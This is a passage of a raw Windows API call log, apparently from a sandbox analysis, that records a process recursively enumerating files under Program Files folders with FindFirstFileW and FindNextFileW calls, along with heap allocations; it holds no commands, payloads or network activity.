hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f2a3ff0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f2a3ff0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0241.429] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f27de93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f27de93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="videowall.png", cAlternateFileName="")) returned 1 [0241.429] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f27de93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f27de93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="videowall.png", cAlternateFileName="")) returned 0 [0241.429] FindClose (in: hFindFile=0x65bdc8 | out: hFindFile=0x65bdc8) returned 1 [0241.429] GetProcessHeap () returned 0x560000 [0241.429] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0241.430] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vignette", cAlternateFileName="")) returned 1 [0241.430] GetProcessHeap () returned 0x560000 [0241.430] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0241.430] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bdc8 [0241.435] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.435] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f84b3be, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f84b3be, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0241.436] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0241.436] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8bd7d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8bd7d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0241.436] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8e3932, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8e3932, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0241.436] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f909a8f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f909a8f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0241.436] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f909a8f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f909a8f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0241.437] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f897678, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f897678, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0241.437] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8bd7d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8bd7d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0241.437] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f84b3be, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f84b3be, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="softedges.png", cAlternateFileName="")) returned 1 [0241.437] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f897678, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f897678, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdcdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="vignettemask25.png", cAlternateFileName="")) returned 1 [0241.437] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="whiteband.png", cAlternateFileName="")) returned 1 [0241.438] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="whiteband.png", cAlternateFileName="")) returned 0 [0241.438] FindClose (in: hFindFile=0x65bdc8 | out: hFindFile=0x65bdc8) returned 1 [0241.440] GetProcessHeap () returned 0x560000 [0241.440] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0241.440] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee53867, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee53867, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5caa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WhiteDot.png", cAlternateFileName="")) returned 1 [0241.441] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee53867, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee53867, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5caa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WhiteDot.png", cAlternateFileName="")) returned 0 [0241.441] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0241.441] GetProcessHeap () returned 0x560000 [0241.441] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b748d8 | out: hHeap=0x560000) returned 1 [0241.441] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9060745b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x9060745b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x4877fc17, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x379f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters.xml", cAlternateFileName="")) returned 1 [0241.441] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e437ad, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93e437ad, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x689cd275, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8edf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parity.fx", cAlternateFileName="")) returned 1 [0241.441] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e437ad, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93e437ad, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x689cd275, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8edf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parity.fx", cAlternateFileName="")) returned 0 [0241.442] FindClose (in: hFindFile=0x65bd88 | out: hFindFile=0x65bd88) returned 1 [0241.442] GetProcessHeap () returned 0x560000 [0241.442] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5cad68 | out: hHeap=0x560000) returned 1 [0241.445] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2796f180, ftCreationTime.dwHighDateTime=0x1d57d35, ftLastAccessTime.dwLowDateTime=0xa1b15d60, ftLastAccessTime.dwHighDateTime=0x1d5b224, ftLastWriteTime.dwLowDateTime=0xa1b15d60, ftLastWriteTime.dwHighDateTime=0x1d5b224, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="similar.exe", cAlternateFileName="")) returned 1 [0241.445] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x0, dwReserved1=0x0, cFileName="soniccolorconverter.ax", cAlternateFileName="")) returned 1 [0241.445] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bdd9df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bdd9df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sonicsptransform.ax", cAlternateFileName="")) returned 1 [0241.445] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bb787f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bb787f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll", cAlternateFileName="")) returned 1 [0241.446] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bb787f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bb787f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll", cAlternateFileName="")) returned 0 [0241.446] FindClose (in: hFindFile=0x65bd08 | out: hFindFile=0x65bd08) returned 1 [0241.446] GetProcessHeap () returned 0x560000 [0241.446] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dad70 | out: hHeap=0x560000) returned 1 [0241.447] FindNextFileW (in: hFindFile=0x593dd0, lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ead9a68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0241.447] GetProcessHeap () returned 0x560000 [0241.447] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0241.448] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\*", lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ead9a68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0241.863] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ead9a68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.863] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0241.863] GetProcessHeap () returned 0x560000 [0241.863] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b748d8 [0241.864] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\*", lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd88 [0242.042] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.042] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll.mui", cAlternateFileName="")) returned 1 [0242.042] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="iedvtool.dll.mui", cAlternateFileName="")) returned 1 [0242.043] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieinstal.exe.mui", cAlternateFileName="")) returned 1 [0242.043] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ielowutil.exe.mui", cAlternateFileName="")) returned 1 [0242.043] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe647cb96, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xe647cb96, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xe45e4000, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe.mui", cAlternateFileName="")) returned 1 [0242.043] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdbgui.dll.mui", cAlternateFileName="")) returned 1 [0242.043] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdebuggeride.dll.mui", cAlternateFileName="")) returned 1 [0242.044] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSProfilerCore.dll.mui", cAlternateFileName="")) returned 1 [0242.044] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsprofilerui.dll.mui", cAlternateFileName="")) returned 1 [0242.044] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, 